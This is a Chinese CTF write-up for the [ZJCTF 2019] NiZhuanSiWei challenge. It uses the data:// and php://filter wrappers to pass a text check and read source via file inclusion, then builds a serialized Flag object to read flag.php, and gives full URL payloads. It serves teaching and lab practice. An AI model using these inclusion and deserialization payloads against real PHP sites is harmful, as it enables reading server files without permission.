当前位置: 代码迷 >> 综合 >> PHP伪协议用法之[ZJCTF 2019]NiZhuanSiWei1
  详细解决方案

PHP伪协议用法之[ZJCTF 2019]NiZhuanSiWei1

热度:63   发布时间:2023-12-03 03:19:52.0

php伪协议知识点总结:php伪协议 - single-dog - 博客园

使用data伪协议绕过圆括号、反引号被过滤_梦梦梦·的博客-CSDN博客_data伪协议

首先是代码审计;

传入三个参数。text文本,file文件,password;

第一关是,text传入文本形式可以使用PHP伪协议中的data协议:data://text/plain,<文本>

构造:

text=data://text/plain,welcome to the zjctf

说明text传参正确;第二关对file进行绕过;file里面不能含有/flag/字样;然后提示说有useless.php;如果直接file=useless.php是没有结果的,看到include<file>想到文件包含漏洞,然后就会想到用filter伪协议进行读取内容;那么使用伪协议php://filter 构造:

file=php://filter/read=convert.base64-encode/resource=useless.php

base64编码解码

 

 将flag调用,然后给里面file值赋值为flag.php。就可输出flag.php里面的内容;
当然还要序列化后传入password

对password序列化就要写代码:


<?phpclass Flag{  //flag.php  public $file="flag.php";  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
} 
$password = new Flag();
echo urlencode(serialize($password));
?>

输出结果:这里使用了 URL编码,可以直接使用;不编码是这样的:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

反序列漏洞这里有个考点,关于wake_up()函数,将参数加大就可以绕过;

O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

然后构造完整的payload:

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D

这里有个细节,完整的payload里面的file不需要再用php://filter协议了;